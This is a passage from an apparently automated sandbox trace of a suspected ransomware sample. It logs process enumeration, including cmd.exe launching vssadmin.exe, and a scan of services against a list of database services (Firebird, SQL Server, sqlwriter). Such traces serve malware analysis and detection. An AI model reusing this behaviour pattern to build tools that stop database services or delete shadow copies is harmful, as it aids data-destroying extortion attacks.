hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.958] lstrlenW (lpString="svchost.exe") returned 11 [0054.959] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.959] lstrlenW (lpString="svchost.exe") returned 11 [0054.959] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0054.959] lstrlenW (lpString="audiodg.exe") returned 11 [0054.959] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.960] lstrlenW (lpString="svchost.exe") returned 11 [0054.960] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.960] lstrlenW (lpString="svchost.exe") returned 11 [0054.961] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0054.961] lstrlenW (lpString="dwm.exe") returned 7 [0054.961] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0054.961] lstrlenW (lpString="explorer.exe") returned 12 [0054.961] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0054.962] lstrlenW (lpString="spoolsv.exe") returned 11 [0054.962] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0054.962] lstrlenW (lpString="taskhost.exe") returned 12 [0054.962] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.962] lstrlenW (lpString="svchost.exe") returned 11 [0054.962] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0054.963] lstrlenW (lpString="taskeng.exe") returned 11 [0054.963] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0054.963] lstrlenW (lpString="taskhost.exe") returned 12 [0054.963] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poland_holmes_bryant.exe")) returned 1 [0054.963] lstrlenW (lpString="poland_holmes_bryant.exe") returned 24 [0054.963] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explicit-much-possibilities.exe")) returned 1 [0054.963] lstrlenW (lpString="explicit-much-possibilities.exe") returned 31 [0054.963] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="frankfurtextensivewv.exe")) returned 1 [0054.964] lstrlenW (lpString="frankfurtextensivewv.exe") returned 24 [0054.964] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dramatic-idle.exe")) returned 1 [0054.964] lstrlenW (lpString="dramatic-idle.exe") returned 17 [0054.964] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="britannicaconsultdemocracy.exe")) returned 1 [0054.965] lstrlenW (lpString="britannicaconsultdemocracy.exe") returned 30 [0054.965] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ecagreedreceipt.exe")) returned 1 [0054.965] lstrlenW (lpString="ecagreedreceipt.exe") returned 19 [0054.965] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toyota.exe")) returned 1 [0054.965] lstrlenW (lpString="toyota.exe") returned 10 [0054.965] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radiation.exe")) returned 1 [0054.965] lstrlenW (lpString="radiation.exe") returned 13 [0054.966] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="club-dividend-responses.exe")) returned 1 [0054.966] lstrlenW (lpString="club-dividend-responses.exe") returned 27 [0054.966] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ur illustration.exe")) returned 1 [0054.966] lstrlenW (lpString="ur illustration.exe") returned 19 [0054.966] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="facing.exe")) returned 1 [0054.966] lstrlenW (lpString="facing.exe") returned 10 [0054.966] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="freewarefrontpage.exe")) returned 1 [0054.967] lstrlenW (lpString="freewarefrontpage.exe") returned 21 [0054.967] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asking_pennsylvania.exe")) returned 1 [0054.967] lstrlenW (lpString="asking_pennsylvania.exe") returned 23 [0054.967] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="headline.exe")) returned 1 [0054.967] lstrlenW (lpString="headline.exe") returned 12 [0054.967] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="army_unsigned.exe")) returned 1 [0054.968] lstrlenW (lpString="army_unsigned.exe") returned 17 [0054.968] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplinedeborah.exe")) returned 1 [0054.968] lstrlenW (lpString="disciplinedeborah.exe") returned 21 [0054.968] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distribution-gif.exe")) returned 1 [0054.968] lstrlenW (lpString="distribution-gif.exe") returned 20 [0054.968] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tribunal.exe")) returned 1 [0054.969] lstrlenW (lpString="tribunal.exe") returned 12 [0054.969] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aafeof.exe")) returned 1 [0054.969] lstrlenW (lpString="aafeof.exe") returned 10 [0054.969] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharpdollarsvocational.exe")) returned 1 [0054.969] lstrlenW (lpString="sharpdollarsvocational.exe") returned 26 [0054.969] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="encryption.exe")) returned 1 [0054.969] lstrlenW (lpString="encryption.exe") returned 14 [0054.969] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0054.970] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0054.970] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="1с_.exe")) returned 1 [0054.970] lstrlenW (lpString="1с_.exe") returned 7 [0054.971] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0054.971] lstrlenW (lpString="cmd.exe") returned 7 [0054.971] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0054.971] lstrlenW (lpString="conhost.exe") returned 11 [0054.971] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0054.971] lstrlenW (lpString="vssadmin.exe") returned 12 [0054.971] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0054.972] lstrlenW (lpString="VSSVC.exe") returned 9 [0054.972] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.972] lstrlenW (lpString="svchost.exe") returned 11 [0054.972] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0054.972] CloseHandle (hObject=0x208) returned 1 [0054.972] Sleep (dwMilliseconds=0x1f4) [0055.675] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x58f9e8 [0055.676] EnumServicesStatusExW (in: hSCManager=0x58f9e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0055.676] GetLastError () returned 0xea [0055.676] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x12c6) returned 0x60eb98 [0055.677] EnumServicesStatusExW (in: hSCManager=0x58f9e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x60eb98, cbBufSize=0x12c6, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x60eb98, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0055.678] CloseServiceHandle (hSCObject=0x58f9e8) returned 1 [0055.678] lstrlenW (lpString="Appinfo") returned 7 [0055.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0055.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0055.678] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0055.678] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0055.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0055.678] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0055.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0055.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0055.679] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0055.679] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0055.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0055.679] lstrlenW (lpString="AudioSrv") returned 8 [0055.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0055.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0055.679] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0055.679] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0055.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0055.679] lstrlenW (lpString="BFE") returned 3 [0055.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0055.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0055.679] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0055.679] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0055.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0055.679] lstrlenW (lpString="CryptSvc") returned 8 [0055.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0055.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0055.679] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0055.679] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0055.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0055.679] lstrlenW (lpString="CscService") returned 10 [0055.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0055.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0055.679] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0055.680] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0055.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0055.680] lstrlenW (lpString="DcomLaunch") returned 10 [0055.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0055.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0055.680] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0055.680] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0055.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0055.680] lstrlenW (lpString="Dhcp") returned 4 [0055.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0055.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0055.680] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0055.680] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0055.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0055.680] lstrlenW (lpString="Dnscache") returned 8 [0055.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0055.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0055.680] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0055.680] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0055.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0055.680] lstrlenW (lpString="DPS") returned 3 [0055.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0055.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0055.680] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0055.680] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0055.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0055.680] lstrlenW (lpString="eventlog") returned 8 [0055.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0055.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0055.680] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0055.680] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0055.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0055.681] lstrlenW (lpString="EventSystem") returned 11 [0055.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0055.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0055.681] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0055.681] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0055.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0055.681] lstrlenW (lpString="gpsvc") returned 5 [0055.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0055.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0055.681] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0055.681] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0055.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0055.681] lstrlenW (lpString="iphlpsvc") returned 8 [0055.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0055.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0055.681] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0055.681] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0055.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0055.681] lstrlenW (lpString="LanmanServer") returned 12 [0055.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0055.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0055.681] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0055.681] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0055.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0055.681] lstrlenW (lpString="LanmanWorkstation") returned 17 [0055.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0055.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0055.681] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0055.681] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0055.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0055.681] lstrlenW (lpString="lmhosts") returned 7 [0055.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0055.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0055.682] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0055.682] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0055.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0055.682] lstrlenW (lpString="MMCSS") returned 5 [0055.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0055.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0055.682] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0055.682] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0055.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0055.682] lstrlenW (lpString="MpsSvc") returned 6 [0055.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0055.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0055.682] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0055.682] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0055.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0055.682] lstrlenW (lpString="Netman") returned 6 [0055.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0055.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0055.682] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0055.682] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0055.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0055.682] lstrlenW (lpString="netprofm") returned 8 [0055.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0055.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0055.682] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0055.682] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0055.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0055.682] lstrlenW (lpString="NlaSvc") returned 6 [0055.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 